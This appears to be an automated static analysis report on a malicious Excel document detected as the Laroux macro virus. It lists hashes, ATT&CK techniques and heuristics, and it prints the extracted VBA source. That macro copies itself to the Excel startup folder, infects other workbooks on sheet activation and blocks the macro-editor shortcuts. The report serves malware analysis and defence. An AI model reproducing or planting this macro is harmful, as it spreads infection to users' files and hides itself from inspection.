Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8e09f237b190ff3a…

MALICIOUS

Office (OLE)

30.0 KB Created: 2009-10-10 02:05:59 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: ab36e0c239f3d3e4941eaa7db2f80570 SHA-1: 76c07bb96dfe0328f7004c63bb14b11672b25924 SHA-256: 8e09f237b190ff3a5b8b2ef12b578ab3ccb2027d1e9d768f9598984445f74707
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Office document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup folder as 'StartUp.xls', which is a common persistence technique. The document body appears to be a form for modifying database information, likely a lure to disguise the malicious activity.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 917 bytes
SHA-256: ef12d7355755f09cb7ed5d43609aa9c78ce2121e9043188a92ffb406905a8ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub

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